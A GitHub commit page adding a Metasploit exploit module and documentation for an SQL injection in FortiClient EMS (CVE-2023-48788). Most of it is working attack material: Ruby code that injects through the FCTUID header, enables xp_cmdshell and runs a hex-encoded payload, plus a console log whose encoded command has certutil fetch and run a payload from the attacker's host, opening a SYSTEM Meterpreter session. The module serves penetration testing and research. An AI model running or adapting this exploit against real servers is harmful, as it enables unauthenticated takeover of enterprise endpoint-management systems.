Skip to content

Commit

Permalink
FortiClient EMS Exploit Module
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Apr 12, 2024
1 parent 0b610e4 commit dae9657
Show file tree
Hide file tree
Showing 2 changed files with 339 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
## Vulnerable Application
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which
can be sent directly into database queries.

FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code
execution in the context of NT AUTHORITY\SYSTEM

Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10

Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.

It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient
EMS for the necessary vulnerable services to be available.

### Setup
You'll need two Windows hosts. One domain controller and one Windows 10 host (a domain controller might not be 100%
necessary however I used one and if you choose not to, your installation mileage may vary). The Windows 10 host will eventually
install the FortiClient EMS Client and will be managed by our FortiClient EMS Server to enable the services required
to exploit this vulnerability on the EMS Server. On the Windows 10 host set the the following Services to the following Startup Types:
- Task Scheduler: Automatic
- Windows Installer: Manual
- Remote Registry: Automatic

Then either disable Windows Firewall completely or configure to allow the following inbound connections:
- File and Printer Sharing (SMB-In)
- Remote Scheduled Tasks Management (RPC)

Now on the domain controller download the installer `FortiClientEndpointManagementServer_7.0.7.0398_x64.exe`. You will need
a FortiNet account to request a free trial.

On the domain controller launch the installer. When it completes within the application you will be presented with a sign in page.
Enter username: "admin" with a blank password and click "Sign in" - this will prompt you to create a new password for the admin user.
Then authenticate with the new password.
A pop up window reading: "We didn't find any licenses for this EMS..." click "Try Free" and sign in with your FortiNet
account to request a free trial.

Once FortiClient EMS has been launched, in the left hand side select System Settings > EMS Settings, then under Shared
Settings select "Use FQDN" and input the domain controller's FQDN. Ensure the FQDN is accessible by pinging it from the cmdline.
A pop up window reading: "The server will need to restart..." click "Yes".

Scroll down to "EMS Settings". In the "FortiClient Download URL" replace the IP address with the domain controller's FQDN.
Click save.

Next select System Settings > FortiGuard Services under Cloud Services set the timezone your server is located in.
Click Save.

Under "Deployment & Installers" > "FortiClient Installer" on the right hand side select "Add". A pop up window will appear.

For "Installer Type" select "Choose an official release". For "Release", choose 7.0 and for "Patch" choose 7.0.7 , click next.
For "Name" input "FCT_707" click next.
Keep all the defaults for the Features section and click next.
Keep all the defaults for the Advanced section and click next and then click Finish.

Now you should have a Deployment Package with a Download Link. Navigate to that download link on your Windows 10 host
and download and install the .msi package. Once installed correctly you should see the Windows 10 host appear under the
"Endpoint" tab in the EMS Server. FortiClient EMS Server should now be exploitable.

## Verification Steps

1. Start msfconsole
1. Do: `use windows/http/forticlient_ems_fctid_sqli`
1. Set the `RHOST` and `LHOST` options
1. Run the module
1. Receive a Meterpreter session running in the context of `NT AUTHORITY\SYSTEM`

## Scenarios
### FortiClient EMS 7.07.0398_x64 running on Windows Server 2019 (Domain Controller)
```
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options
Module options (exploit/windows/http/forticlient_ems_fctid_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8013 yes The target port (TCP)
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 8383 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) >
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:8383
[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable)
[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[*] Sending stage (201798 bytes) to 172.16.199.200
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75
726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully
[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700
meterpreter > getuid
syServer username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC2
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : KERBEROS
Logged On Users : 16
Meterpreter : x64/windows
meterpreter >
```
194 changes: 194 additions & 0 deletions modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,194 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE',
'Description' => %q{
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which
can be sent directly into database queries.
FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code
execution in the context of NT AUTHORITY\SYSTEM
Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10
Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.
It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient
EMS for the necessary vulnerable services to be available.
},
'Author' => [
'Zach Hanley', # Analysis & PoC
'James Horseman', # Analysis & PoC
'jheysel-r7', # Msf module
'Spencer McIntyre' # Msf module assistance
],
'References' => [
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'],
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'],
[ 'CVE', '2023-48788']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Privileged' => true,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-04-21',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 8013
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
end

def get_register_info
register_info = <<~REGISTER_INFO
AVSIG_VER=1.00000
REG_KEY=_
EP_ONNETCHKSUM=0
AVENG_VER=6.00266
DHCP_SERVER=None
FCTOS=WIN64
VULSIG_VER=1.00000
FCTVER=7.0.7.0345
APPSIG_VER=13.00364
USER=Administrator
APPENG_VER=4.00082
AVALSIG_VER=0.00000
VULENG_VER=2.00032
OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763)
COM_MODEL=VMware Virtual Platform
RSENG_VER=1.00020
AV_PROTECTED=0
AVALENG_VER=0.00000
PEER_IP=
ENABLED_FEATURE_BITMAP=49
EP_OFFNETCHKSUM=0
INSTALLED_FEATURE_BITMAP=158583
EP_CHKSUM=0
HIDDEN_FEATURE_BITMAP=155943
DISKENC=
HOSTNAME=CYBER-RETQB1FLP
AV_PRODUCT=
FCT_SN=FCT8001638848651
INSTALLUID=#{Faker::Internet.uuid.upcase}
NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0
UTC=1710271774
PC_DOMAIN=
COM_MAN=VMware, Inc.
CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz
MEM=12287
HDD=99
COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82
DOMAIN=
WORKGROUP=WORKGROUP
USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500
GROUP_TAG=
ADGUID=
EP_FGTCHKSUM=0
EP_RULECHKSUM=0
WF_FILESCHKSUM=0
EP_APPCTRLCHKSUM=0
REGISTER_INFO
Rex::Text.encode_base64(register_info)
end

def get_message(sqli)
message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n"
message << "IP=127.0.0.1\n"
message << "MAC=#{Faker::Internet.mac_address}\n"
message << "FCT_ONNET=0\n"
message << "CAPS=32767\n"
message << "VDOM=default\n"
message << "EC_QUARANTINED=0\n"
message << "SIZE= {SIZE_PLACEHOLDER}\n"
message << "\n"
message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n"
message << 'X-FCCK-REGISTER-END'
message << "\r\n"
message << "\r\n"
message.gsub!('{SQLI_PLACEHOLDER}', sqli)
message_length = message.length
message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length
message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s)
message
end

def send_message(sqli)
message = get_message(sqli)
vprint_status("Sending the following message: #{message}")

buf = ''
begin
connect(true, { 'SSL' => true })
sock.put(message)
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
disconnect
end
vprint_status("The response received was: #{buf}")
buf
end

def check
res = send_message("' OR 1=1; --")
return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL')
return CheckCode::Safe if res.include?("The FCT record doesn't exist")

CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted")
end

def exploit
# Things to note:
# 1. xp_cmdshell is disabled by default so first we must enable it.
# 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing
# attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL
# before running the command with xp_command shell.
# 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which
# is when we expect the response to be empty.
inject = [
"' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
"' OR 1=1; reconfigure;--",
"' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
"' OR 1=1; reconfigure;--",
"' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
]
inject.each do |sqli|
if sqli == inject.last
send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')
else
send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')
end
end
end
end

0 comments on commit dae9657

Please sign in to comment.